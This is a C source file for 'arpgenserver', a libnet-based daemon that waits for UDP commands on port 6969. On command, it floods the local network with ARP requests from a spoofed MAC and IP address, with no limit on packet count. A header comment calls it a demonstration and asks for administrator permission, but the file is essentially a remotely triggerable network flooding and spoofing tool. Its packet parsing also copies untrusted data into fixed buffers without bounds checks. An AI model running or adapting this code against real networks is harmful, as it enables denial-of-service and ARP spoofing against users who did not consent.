/* 
 * arpgenserver, written by Javaman
 *
 * Generates a flood of arp requests from a spoofed ethernet and
 * IP address.  Works as a client-server pair.  This program, the 
 * server, is installed on a host and the client sends a request 
 * over UDP to start the flood.
 *
 * This is a demonstration that an arp request flood would be
 * a practical attack on a local network.  This should absolutly
 * not be used on a network unless permission is attained from
 * the network administrator.
 *
 * Requires libnet
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <libnet.h>

#define PORT 6969

void genpacket(char *schar, char *tchar, char *mchar, char *lchar);
int convmac(char *, char *);
void help (void);

int main(void)
{
	char buffer[1000];
	char parsed[4][200];
	char *phelp1, *phelp2;
	struct sockaddr_in serv_addr, client_addr;
	int listensocket, len, i;

	if ((listensocket = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		perror("socket call failed");
		exit(1);
	}

	bzero((char *) &serv_addr, sizeof(serv_addr));

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	serv_addr.sin_port = htons(6969);

	if (bind(listensocket, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
		perror("bind failed.\n");
		exit(1);
	}

	len = sizeof(struct sockaddr);
	while (1) {	
		if (recvfrom(listensocket, buffer, 1000, 0, &client_addr, &len) < 0) {
			perror("could not read datagram.");
		}

		phelp1 = buffer;

		for (i = 0; i < 3; i++) {
			phelp2 = strchr(phelp1, '\t');
			if (phelp2 != NULL) {
				*phelp2 = '\0';
				strcpy(parsed[i], phelp1);
				phelp2++;
				phelp1 = phelp2;
			}
		}

		strcpy(parsed[3], phelp2);

		genpacket(parsed[0], parsed[1], parsed[2], parsed[3]);
	}
}

void genpacket(char *schar, char *tchar, char *mchar, char *lchar) 
{
	u_char *libnet_dev = NULL;
	u_char *arp_packet;
	u_char mac[6];
	u_char eth_dest[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
	u_char arp_dest[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	u_long target, source;
	struct sockaddr_in libnet_sock;
	struct libnet_link_int *write2net;
	char libnet_err[LIBNET_ERRBUF_SIZE];
	int libnet_packet_size = LIBNET_ETH_H + LIBNET_ARP_H;
	int check, i, packetcount;

	packetcount = atoi(lchar);
	convmac(mac, mchar);

	if (!(target = libnet_name_resolve(tchar, LIBNET_RESOLVE))) {
		libnet_error(LIBNET_ERR_FATAL, "Bad target %s\n", optarg);
	}

	if (!(source = libnet_name_resolve(schar, LIBNET_RESOLVE))) {
		libnet_error(LIBNET_ERR_FATAL, "Bad source %s\n", optarg);
	}

	if (libnet_select_device(&libnet_sock, &libnet_dev, libnet_err) == -1) {
		libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", libnet_err);
		exit(-1);
	}

	if ((write2net = libnet_open_link_interface(libnet_dev, libnet_err)) == NULL) {
		libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", libnet_err);
		exit(-1);
	}
	
	if ((libnet_init_packet(libnet_packet_size, &arp_packet)) == -1) {
		libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", libnet_err);
		exit(-1);
	}

	/* there may be problems here with the inet_netof stuff. */

	libnet_build_ethernet(eth_dest, mac, ETHERTYPE_ARP, NULL, 0, arp_packet);
	libnet_build_arp(ARPHRD_ETHER, 0x0800, 6, 4, ARPOP_REQUEST, mac, (u_char *) &target, arp_dest, (u_char *) &source, NULL, 0, arp_packet + LIBNET_ETH_H);

	if (packetcount == 0) {
		while (1) {
			check = libnet_write_link_layer(write2net, libnet_dev, arp_packet, libnet_packet_size);
			if (check < libnet_packet_size) {
				libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote 0x%x byes.\n", check);
			} else {
				//printf(".");
			}
		}
	} else {
		for (i = 0; i < packetcount; i++) {
			check = libnet_write_link_layer(write2net, libnet_dev, arp_packet, libnet_packet_size);
			if (check < libnet_packet_size) {
				libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote 0x%x byes.\n", check);
			} else {
				/* Wrote packet */
			}
		}
	}

	//	libnet_hex_dump(arp_packet, libnet_packet_size, 0, stdout);
	libnet_destroy_packet(&arp_packet);
	return;
}

int convmac(char *convertedmac, char *inputmac)
{
	char *p;
	int i;

	p = inputmac;
	for (i = 0; i < 6; i++) {
		convertedmac[i] = strtol(p, &p, 16);
		p = strchr(p, ':');
		p++;
	}
	return 0;
}

/* The help function describes the various command line options 
 * supported at this time.
 */
void help(void)
{
	printf("arpgen by Javaman\n");
	printf("For information purposes only.\n");
	printf("Options:\n");
	printf("\t-s\tSource IP to generate replies\n");
	printf("\t-t\tTarget IP of replies from source\n");
	printf("\t-m\tSpoofed MAC Address in colon notation.  (AA:BB:CC:DD:EE:FF)\n");
	printf("\t-n\tNumber of packets to generate (default = 0 = infinite)\n");
}
